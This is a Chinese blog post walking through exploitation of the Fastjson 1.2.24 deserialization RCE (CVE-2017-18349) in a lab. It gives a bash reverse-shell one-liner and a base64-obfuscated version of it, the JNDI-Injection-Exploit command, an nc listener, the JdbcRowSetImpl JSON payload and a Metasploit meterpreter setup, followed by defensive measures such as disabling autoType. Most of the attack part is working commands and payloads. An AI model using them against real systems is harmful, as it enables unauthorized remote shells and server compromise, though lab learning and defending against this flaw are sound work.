FastJson远程代码执行漏洞基于JNDI反弹shell使用

本文介绍如何利用FastJson组件1.2.24及之前的版本存在的远程代码执行漏洞(CVE-2017-18349)进行反弹Shell攻击。通过JNDI注入方式,演示了设置反弹Shell命令、使用JNDI注入工具、构造恶意Payload以及最终成功获取目标主机Shell的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

基础知识:

漏洞利用的两种方式:

靶场环境说明

反弹shell准备

反弹shell执行


在FastJson组件1.2.24及之前版本存在远程代码执行漏洞(CVE-2017-18349)。

基础知识:

Fastjson是阿里巴巴公司开发的一个Java语言编写的高性能的JSON处理器。它采用一种“假定有序快速匹配”的算法,号称是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。它提供两个主要接口toJSONString()和 parseObject()进行序列化和反序列化。

漏洞利用的两种方式:

基于Templateslmpl

基于JNDI

本文从JNDI的注入方式来实现反弹shell。

靶场环境说明

通过burpsuite可以抓到提交的报文:

 在Repeater处修改str的值可以进行注入验证

反弹shell准备

1、设计一个shell命令,如下,更新vps的IP以及端口

bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

这里需要注意shell命令里不要空格或换行指令,在>&后面不要有空格。否则反弹shell的时候命令执行会报异常退出。

通过base64的bash加密,通过多种格式在线加密解密 - ASCII\十进制\十六进制\二进制在线转换工具可简单实现shell命令的base64加密。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94eHgueHh4Lnh4eC54eHgvcG9ydCAwPiYx}|{base64,-d}|{bash,-i}

2、下载JNDI注入工具,建立rmi、ldap服务

JNDI-Injection-Exploit工具下载路径:GitHub - welk1n/JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

JNDI介绍:

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于 Fastjson、Jackson等相关漏洞的验证。

JNDI注入利用工具使用:

可执行程序为jar包,在命令行中运行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程class文件中要执行的命令。

    (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是IP地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

注意:

  • 要确保 109913898180端口可用,不被其他程序占用。如果只希望RMISERVER的话,就只要开放1099端口。

    或者你也可以在run.ServerStart类26~28行更改默认端口。

  • 命令会被作为参数传入Runtime.getRuntime().exec()

    所以需要确保命令传入exec()方法可执行。

    bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

示例:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "command" -A "ip-address"

 3、启动JNDI注入工具,获得rmi服务或ldap服务的链接

4、通过nc启动监听步骤1中的端口,如下图

nc -lvvp [port]

5、fastJson反序列化漏洞的注入payload

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx:1099/731tna","autoCommit":true}}

rmi这一段的值为JNDI注入工具生成的链接。

 准备好以上后,返回burpSuite里通过Repeater来触发shell。

反弹shell执行

在burpsuite中的Repeater触发注入的payload

 发送payload,在JNDI启动的服务监听中就可以获取到触发的结果,在nc的监听中可以看见反弹shell成功。

 以上就是基于JNDI注入的反弹shell使用。

### Fastjson 反弹 Shell 漏洞利用及防御 #### 1. 漏洞背景 Fastjson 是阿里巴巴开源的一款高性能 JSON 解析库,广泛应用于 Java 项目中。然而,由于其对反序列化功能的支持,Fastjson 在多个版本中存在严重的反序列化漏洞,攻击者可以通过构造恶意的 JSON 数据实现远程代码执行(RCE)。其中,Fastjson 1.2.24 版本及以下版本被爆出 CVE-2017-18349 漏洞[^2]。 #### 2. 漏洞原理 Fastjson 的反序列化机制允许通过 `@type` 字段指定对象类型,并动态加载对应的类。如果未对 `autoTypeSupport` 属性进行限制,攻击者可以构造恶意的 JSON 数据,加载任意类并调用其方法。例如,`com.sun.rowset.JdbcRowSetImpl` 类可以通过 JNDI 注入连接到恶意 RMI 或 LDAP 服务,从而下载并执行恶意代码[^4]。 #### 3. 利用过程 以下是一个典型的利用流程: 1. **构造恶意 JSON 数据** 攻击者需要构造一个包含 `@type` 字段的 JSON 数据,指定目标类为 `com.sun.rowset.JdbcRowSetImpl`,并通过 `dataSourceName` 字段指向恶意 RMI 或 LDAP 服务。例如: ```json { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://<attacker_ip>:<port>/Exploit", "autoCommit": true } ``` 2. **设置恶意 RMI/LDAP 服务** 攻击者需要在本地启动 RMI 或 LDAP 服务,提供一个恶意类文件。当目标系统尝试加载该类时,恶意代码将被执行。以下是使用 Metasploit 启动 RMI 服务的示例: ```bash use exploit/multi/misc/java_rmi_server set PAYLOAD java/meterpreter/reverse_tcp set LHOST <attacker_ip> set LPORT <port> run ``` 3. **发送恶意请求** 使用工具如 Burp Suite 抓取目标系统的 HTTP 请求,修改请求体为上述恶意 JSON 数据,并发送给目标服务器。如果目标系统使用Fastjson 且版本低于 1.2.41,则会触发漏洞,执行恶意代码。 #### 4. 防御措施 为了防止 Fastjson 反序列化漏洞被利用,可以采取以下防御措施: 1. **升级 Fastjson 版本** 升级到最新版本(>= 1.2.68),阿里团队已修复多个已知漏洞,并改进了黑名单和白名单机制。 2. **禁用 `autoType` 功能** 将 `autoTypeSupport` 属性设置为 `false`,禁止动态加载类。例如: ```java JSON.parseObject(jsonStr, Feature.DisableAutoType); ``` 3. **使用白名单机制** 配置 Fastjson 的白名单,仅允许解析特定的类。例如: ```java ParserConfig.getGlobalInstance().addAccept("com.example."); ``` 4. **输入验证** 对用户输入的 JSON 数据进行严格验证,确保不包含恶意字段(如 `@type`)。 5. **监控与日志记录** 部署入侵检测系统(IDS)和安全信息与事件管理系统(SIEM),实时监控异常行为并记录相关日志。 #### 5. 示例代码 以下是一个简单的 Fastjson 配置示例,展示如何禁用 `autoType` 功能: ```java import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; public class FastjsonExample { public static void main(String[] args) { String jsonStr = "{ \"name\": \"test\" }"; try { // 禁用 autoType JSON.parseObject(jsonStr, Feature.DisableAutoType); System.out.println("JSON 解析成功"); } catch (Exception e) { System.out.println("JSON 解析失败: " + e.getMessage()); } } } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值